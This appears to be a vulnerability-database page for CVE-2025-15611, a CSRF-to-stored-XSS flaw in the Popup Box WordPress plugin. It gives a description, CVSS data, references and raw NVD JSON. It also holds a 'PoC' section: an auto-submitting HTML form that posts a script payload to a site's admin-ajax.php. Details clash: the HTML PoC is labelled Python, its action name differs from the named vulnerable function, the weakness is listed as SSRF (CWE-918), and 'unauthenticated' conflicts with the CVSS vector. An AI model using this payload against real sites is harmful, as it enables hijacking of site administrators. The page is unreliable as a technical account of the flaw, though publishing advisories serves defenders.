CVE-2025-15611

Description

The Popup Box WordPress plugin before 5.5.0 does not properly validate nonces in the add_or_edit_popupbox() function before saving popup data, allowing unauthenticated attackers to perform Cross-Site Request Forgery attacks. When an authenticated admin visits a malicious page, the attacker can create or modify popups with arbitrary JavaScript that executes in the admin panel and frontend.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ays-pro:popup_box:*:*:*:*:*:wordpress:*:* - VULNERABLE

Popup Box < 5.5.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC Concept for CSRF leading to Stored XSS -->
<!-- Target: WordPress Admin Action for Popup Box -->
<html>
<body>
  <h2>CSRF PoC for CVE-2025-15611</h2>
  <p>Automatically submits a malicious popup creation request.</p>
  <form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="popupbox_save_settings" />
    <input type="hidden" name="popup_content" value="<script>alert('XSS');</script>" />
    <input type="hidden" name="popup_title" value="Malicious Popup" />
    <input type="submit" value="Submit Request" />
  </form>
  <script>
    // Auto-submit on load
    document.forms[0].submit();
  </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-15611
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-15611
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-15611/
[4] VulDB https://vuldb.com/cve/CVE-2025-15611
[5] https://wpscan.com/vulnerability/089ea763-2421-4089-a220-251421f7f226/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-15611", "sourceIdentifier": "[email protected]", "published": "2026-04-07T07:16:23.443", "lastModified": "2026-04-09T19:43:40.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Popup Box WordPress plugin before 5.5.0 does not properly validate nonces in the add_or_edit_popupbox() function before saving popup data, allowing unauthenticated attackers to perform Cross-Site Request Forgery attacks. When an authenticated admin visits a malicious page, the attacker can create or modify popups with arbitrary JavaScript that executes in the admin panel and frontend."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ays-pro:popup_box:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "5.5.0", "matchCriteriaId": "BEED5733-F8BB-4B2B-B0C1-C849505A712C"}]}]}], "references": [{"url": "https://wpscan.com/vulnerability/089ea763-2421-4089-a220-251421f7f226/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}